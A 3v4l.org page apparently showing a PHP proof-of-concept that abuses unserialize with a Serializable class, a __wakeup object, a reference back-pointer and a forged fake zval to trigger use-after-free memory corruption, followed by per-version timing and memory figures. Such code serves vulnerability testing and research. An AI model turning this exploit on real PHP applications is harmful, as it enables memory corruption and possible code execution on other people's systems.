3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj implements Serializable { var $data; function serialize() { return serialize($this->data); } function unserialize($data) { $this->data = unserialize($data); } } class obj2 { var $ryat; function __wakeup() { $this->ryat = 1; } } $fakezval = ptr2str(1122334455); $fakezval .= ptr2str(0); $fakezval .= "\x00\x00\x00\x00"; $fakezval .= "\x01"; $fakezval .= "\x00"; $fakezval .= "\x00\x00"; $inner = 'r:2;'; $exploit = 'a:2:{i:0;O:4:"obj2":1:{s:4:"ryat";C:3:"obj":'.strlen($inner).':{'.$inner.'}}i:1;a:1:{i:0;a:1:{i:0;R:4;}}}'; $data = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = $fakezval.$i; } var_dump($data); function ptr2str($ptr) { $out = ''; for ($i = 0; $i < 8; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0030.01418.43
8.3.50.0140.00521.95
8.3.40.0040.01119.09
8.3.30.0070.00718.79
8.3.20.0000.00818.93
8.3.10.0040.00421.91
8.3.00.0090.00020.56
8.2.180.0170.00318.42
8.2.170.0140.00022.96
8.2.160.0070.00719.33
8.2.150.0030.00524.18
8.2.140.0040.00424.66
8.2.130.0000.00722.11
8.2.120.0040.00426.35
8.2.110.0050.00521.12
8.2.100.0040.00819.76
8.2.90.0070.00019.34
8.2.80.0040.00417.97
8.2.70.0000.00917.49
8.2.60.0000.00817.93
8.2.50.0000.00818.10
8.2.40.0040.00422.14
8.2.30.0000.00719.39
8.2.20.0020.00517.75
8.2.10.0020.00518.13
8.2.00.0000.00818.02
8.1.280.0070.00725.92
8.1.270.0030.00623.91
8.1.260.0040.00428.09
8.1.250.0070.00028.09
8.1.240.0050.00523.66
8.1.230.0110.00017.42
8.1.220.0000.00817.76
8.1.210.0030.00518.77
8.1.200.0060.00317.36
8.1.190.0040.00417.10
8.1.180.0000.00818.10
8.1.170.0080.00018.50
8.1.160.0070.00022.16
8.1.150.0000.00818.98
8.1.140.0040.00419.65
8.1.130.0000.00817.73
8.1.120.0080.00017.53
8.1.110.0040.00417.46
8.1.100.0000.00817.50
8.1.90.0000.00717.52
8.1.80.0000.00817.39
8.1.70.0000.00817.37
8.1.60.0050.00217.66
8.1.50.0030.00617.43
8.1.40.0000.00817.52
8.1.30.0050.00317.69
8.1.20.0060.00317.52
8.1.10.0040.00417.64
8.1.00.0000.00817.55
8.0.300.0040.00418.77
8.0.290.0070.00016.75
8.0.280.0030.00318.47
8.0.270.0040.00417.32
8.0.260.0000.00817.28
8.0.250.0000.00717.04
8.0.240.0030.00317.00
8.0.230.0030.00316.98
8.0.220.0000.00717.00
8.0.210.0000.00717.02
8.0.200.0030.00316.95
8.0.190.0000.00817.03
8.0.180.0080.00017.04
8.0.170.0080.00017.00
8.0.160.0000.00717.08
8.0.150.0040.00416.85
8.0.140.0030.00616.92
8.0.130.0000.00513.36
8.0.120.0080.00016.93
8.0.110.0000.00716.97
8.0.100.0040.00417.04
8.0.90.0050.00217.02
8.0.80.0060.01016.93
8.0.70.0050.00216.82
8.0.60.0080.00017.02
8.0.50.0000.00816.88
8.0.30.0110.00917.05
8.0.20.0140.00717.40
8.0.10.0000.00717.05
8.0.00.0160.00616.79
7.4.330.0000.00515.08
7.4.320.0040.00416.65
7.4.300.0070.00016.58
7.4.290.0000.00716.63
7.4.280.0050.00216.62
7.4.270.0030.00316.61
7.4.260.0030.00616.61
7.4.250.0030.00316.59
7.4.240.0050.00316.59
7.4.230.0000.00716.61
7.4.220.0070.01316.54
7.4.210.0030.02016.63
7.4.200.0050.00316.66
7.4.160.0080.00816.55
7.4.150.0130.00417.40
7.4.140.0180.00517.86
7.4.130.0130.00616.54
7.4.120.0080.01116.46
7.4.110.0080.01016.59
7.4.100.0100.00716.78
7.4.90.0130.01016.52
7.4.80.0130.00619.39
7.4.70.0080.00816.62
7.4.60.0090.00916.62
7.4.50.0070.00716.54
7.4.40.0110.00616.48
7.4.30.0120.00916.56
7.4.10.0110.00814.86
7.4.00.0080.00814.98
7.3.330.0060.00013.41
7.3.320.0070.00013.26
7.3.310.0030.00316.27
7.3.300.0000.00616.40
7.3.290.0090.00816.38
7.3.280.0100.00916.39
7.3.270.0090.00917.40
7.3.260.0080.01316.45
7.3.250.0110.00916.49
7.3.240.0130.00916.58
7.3.230.0140.00316.39
7.3.210.0100.01416.51
7.3.200.0060.01216.34
7.3.190.0130.00616.54
7.3.180.0160.00816.53
7.3.170.0040.01416.49
7.3.160.0000.02216.50
7.3.130.0070.01214.80
7.3.120.0080.00815.01
7.3.110.0060.01114.92
7.3.100.0080.00714.95
7.3.90.0070.00714.84
7.3.80.0090.00515.09
7.3.70.0070.00614.78
7.3.60.0080.00214.99
7.3.50.0040.01114.66
7.3.40.0070.00614.86
7.3.30.0050.00914.96
7.3.20.0060.00816.68
7.3.10.0050.00816.68
7.3.00.0040.00716.68
7.2.330.0090.00916.75
7.2.320.0060.01216.81
7.2.310.0120.00416.70
7.2.300.0170.00316.61
7.2.290.0060.01516.69
7.2.260.0060.01114.99
7.2.250.0050.01215.03
7.2.240.0050.01015.17
7.2.230.0100.00615.04
7.2.220.0060.00815.00
7.2.210.0090.00615.14
7.2.200.0060.00915.16
7.2.190.0040.00915.08
7.2.180.0080.00815.07
7.2.170.0080.00615.03
7.2.160.0070.00815.19
7.2.150.0080.00616.93
7.2.140.0040.00816.93
7.2.130.0030.01217.04
7.2.120.0050.01016.82
7.2.110.0050.01016.81
7.2.100.0080.00717.02
7.2.90.0050.00916.99
7.2.80.0100.00517.09
7.2.70.0040.01116.95
7.2.60.0060.00616.94
7.2.50.0060.01116.91
7.2.40.0090.00717.00
7.2.30.0050.01016.91
7.2.20.0080.00616.91
7.2.10.0100.00416.90
7.2.00.0060.00816.96
7.1.330.0080.00615.80
7.1.320.0040.00815.91
7.1.310.0080.00615.96
7.1.300.0050.00715.79
7.1.290.0070.00915.71
7.1.280.0020.01115.63
7.1.270.0050.01015.89
7.1.260.0070.00515.86
7.1.250.0030.01215.83
7.1.240.0080.00615.70
7.1.230.0060.00515.83
7.1.220.0090.00415.91
7.1.210.0070.00615.73
7.1.200.0060.00815.84
7.1.190.0010.01015.80
7.1.180.0000.01415.85
7.1.170.0040.01015.89
7.1.160.0050.00915.90
7.1.150.0080.00715.78
7.1.140.0030.01015.90
7.1.130.0050.00815.77
7.1.120.0050.00815.61
7.1.110.0090.00515.94
7.1.100.0090.00616.45
7.1.90.0040.00915.99
7.1.80.0050.00615.67
7.1.70.0060.00716.04
7.1.60.0060.00716.83
7.1.50.0080.00616.06
7.1.40.0010.01115.84
7.1.30.0080.00615.80
7.1.20.0010.01215.72
7.1.10.0060.00715.65
7.1.00.0030.02817.49
7.0.330.0030.00615.23
7.0.320.0060.00415.38
7.0.310.0050.00815.32
7.0.300.0050.01115.31
7.0.290.0070.00815.48
7.0.280.0030.00815.34
7.0.270.0030.00715.34
7.0.260.0050.00615.33
7.0.250.0060.00915.45
7.0.240.0040.00915.44
7.0.230.0030.00815.50
7.0.220.0030.01115.40
7.0.210.0090.00615.50
7.0.200.0090.00815.35
7.0.190.0030.00715.39
7.0.180.0050.00715.31
7.0.170.0050.00915.36
7.0.160.0080.00715.49
7.0.150.0050.00715.52
7.0.140.0080.00315.41
7.0.130.0080.00615.32
7.0.120.0080.00515.40
7.0.110.0060.00815.32
7.0.100.0030.00815.42
7.0.90.0120.02116.64
7.0.80.0090.01916.54
7.0.70.0360.02216.53
7.0.60.0260.02216.55
7.0.50.0320.02016.64
7.0.40.0370.02015.20
7.0.30.0300.02415.21
7.0.20.0450.01915.23
7.0.10.0350.01615.20
7.0.00.0430.02315.20
5.6.400.0070.00814.59
5.6.390.0070.00814.52
5.6.380.0040.00914.43
5.6.370.0030.00914.54
5.6.360.0080.00514.57
5.6.350.0050.00914.37
5.6.340.0060.00814.49
5.6.330.0070.00514.61
5.6.320.0040.01114.43
5.6.310.0090.00414.43
5.6.300.0040.00814.55
5.6.290.0040.00914.53
5.6.280.0040.00914.40
5.6.270.0070.00414.61
5.6.260.0020.01114.38
5.6.250.0070.00714.48
5.6.240.0040.02416.05
5.6.230.0080.02016.06
5.6.220.0090.01815.96
5.6.210.0050.02015.95
5.6.200.0100.02316.06
5.6.190.0070.02416.14
5.6.180.0080.01916.13
5.6.170.0090.02016.08
5.6.160.0050.02216.00
5.6.150.0130.02016.08
5.6.140.0070.02216.14
5.6.130.0070.02116.23
5.6.120.0070.02016.18
5.6.110.0070.02216.07
5.6.100.0090.01716.06
5.6.90.0040.03116.02
5.6.80.0050.02215.90
5.6.70.0080.01915.97
5.6.60.0080.02615.85
5.6.50.0070.02115.82
5.6.40.0040.02415.85
5.6.30.0060.02315.97
5.6.20.0060.02015.91
5.6.10.0090.01515.85
5.6.00.0070.01715.86

preferences:
59.81 ms | 401 KiB | 5 Q